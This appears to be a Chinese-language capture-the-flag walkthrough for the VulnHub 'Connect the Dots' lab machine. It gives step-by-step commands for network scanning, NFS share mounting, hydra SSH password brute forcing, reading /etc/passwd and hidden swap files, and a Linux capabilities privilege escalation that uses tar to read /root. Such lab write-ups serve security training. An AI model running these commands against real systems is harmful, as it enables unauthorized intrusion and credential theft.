靶场下载
https://www.vulnhub.com/entry/connect-the-dots-1,384/
一、信息收集
探测存活主机
netdiscover -r 192.168.16.161/24
nmap -sP 192.168.16.161/24
端口操作系统扫描
nmap -sV -sC -A -p 1-65535 192.168.16.159
扫描发现开放端口有
21 ftp
80 http
2049 nfs
7822 ssh
目录扫描
gobuster dir -u http://192.168.16.161 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
二、nfs文件共享漏洞检测
尝试查看靶机利用NFS共享的全部文件夹:
使用命令
showmount -e 192.168.16.161
可以看到/home/morris共享了
映射共享文件夹下的根目录。
在攻击机上面创建一个根文件夹/temp1/,其目的就是映射共享文件夹下的根目录。
mkdir /temp1
挂载文件
将靶机下的共享文件挂载到刚才新建的目录下
mount -t nfs 192.168.16.161:/home/morris /temp1
查看里面隐藏文件
ls -al
读取里面文件内容权限不够
三、目录分析
访问刚刚目录扫描结果,在http://192.168.16.161/mysite/
访问http://192.168.16.161/mysite/register.html发现登录页面
查看源代码,看到跳转到了几个文件",在刚刚路径中可以访问
jsfuck编码
访问http://192.168.16.161/mysite/bootstrap.min.cs,发现进行了加密
使用了jsfuck编码。
编码内容提取
文件从b1到b10一个个拿取乱
可以http://192.168.16.161/mysite/register.html,打开登录页面
点击控制台
输入命令:
console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)
在线解密
http://codertab.com/JsUnFuck
得出密码应该是TryToGuessThisNorris@2k19
ssh暴力破解
hydra -L mi.txt -p TryToGuessThisNorris@2k19 ssh://192.168.16.161 -s 7822
# -L : 指定字典
#-p 小写,指定密码破解
这里用户字典
破解结果:
sh] host: 192.168.16.161 login: norris password: TryToGuessThisNorris@2k19
四、FTP登录
ssh登录连接
ssh norris@192.168.16.161 -p 7822
查看当前目录下文件
在ftp下有四个文件
登录21端口FTP
ftp 192.168.16.161
输入刚刚破解得正确的账号和密码
使用get命令依次下载文件
get backups.bak
。。。
可以看到有两个图片一个txt文件
图片分析:工具exiftool
在geme.jpg中发现了波斯密码
exiftool game.jpg.bak
exiftool m.gif.bak
摩斯密码解密
在线解密网:https://gchq.github.io/CyberChef/
解密结果
取目标主机查找:SECRETFILE (秘密文件)
测试搜索直接关键字,这里用小写:secretfile
find / -name secretfile 2>/dev/null
成功查找到,查看文件内容
查看这个目录下的隐藏文件:
查看里面内容,显示权限被拒绝
swp文件:是编辑器突然断电或 Ctrl+z 产生的文件
下载文件
wget http://192.168.16.160/.secretfile.swp
查看内容:strings .secretfile.swp
strings:用来提取和显示非文本文件中的文本字符串
查看存在用户
cat /etc/passwd | grep bash
尝试刚刚文件中的密码
最后登录成功
账号:morris 密码:blehguessme090
五、capabilities提权
参考:
Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
https://www.cnblogs.com/zlgxzswjy/p/14785228.html
Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
一、切换会no
二、查找设置过capabilities的应用程序
/usr/sbin/getcap -r / 2>/dev/null
三、 tar具备cap_dac_read_search=ep 可用执行root来读取文件。
四、打包root目录
tar -zcvf root.tar.gz /root # 打包/root目录
五、解压,查看文件得到flag
tar -zxvf root.tar.gz # 解压root.tar.gz